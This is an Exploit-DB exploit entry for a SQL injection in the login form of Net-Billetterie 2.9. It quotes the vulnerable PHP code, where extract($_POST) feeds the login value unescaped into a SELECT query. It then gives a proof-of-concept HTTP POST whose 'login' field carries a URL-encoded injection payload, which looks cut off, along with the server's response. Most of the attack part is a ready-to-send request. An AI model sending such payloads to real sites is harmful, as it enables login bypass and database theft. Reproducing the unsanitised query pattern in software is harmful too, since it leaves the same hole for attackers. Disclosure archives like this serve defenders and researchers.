Net-Billetterie 2.9 - 'login' SQL Injection

EDB-ID:
45863

CVE:
N/A

EDB Verified: ×

Author:
IHSAN SENCAN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2018-11-15

Vulnerable App:

```
# Exploit Title: Net-Billetterie 2.9 - 'login' SQL Injection
# Dork: N/A
# Date: 2018-11-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://net-billetterie.tuxfamily.org/
# Software Link:
https://netix.dl.sourceforge.net/project/netbilletterie/Netbilletterie2.9.zip
# Version: 2.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/login.inc.php
#

# //login.inc.php
# ....
#18 if (isset ($_POST) && !empty($_POST['login']) &&
!empty($_POST['pass']))
#19 {
#20   extract($_POST);
#21   $pass=md5($pass);
#22
#23   $sql="SELECT * FROM ".$tblpref."user WHERE login='$login' AND
pwd='$pass' ";
#24   $req=mysql_query($sql) or die (mysql_error());
#25   if( mysql_num_rows($req)>0)
#26   {
#27     $data = mysql_fetch_array($req);
#28     $login = $data['login'];
#29     $num=$data['num'];
#30
#31     $_SESSION['Auth']=array(
#32     'login' =>$login,
#33     'pass'  =>$pass,
#34     'lang'  =>'fr',
#35     'tblpref'=>$tblpref,
#36     'num'   =>$num
# ....

POST /[PATH]/login.inc.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=ahn0q4qtr7adcj7kol54879rv0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 579
login=%31%27%20%4f%52%20%28%53%45%4c%45%43%54%20%31%31%32%20%46%52%4f%4d%28%5
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 10:57:05 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Content-Length: 84
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link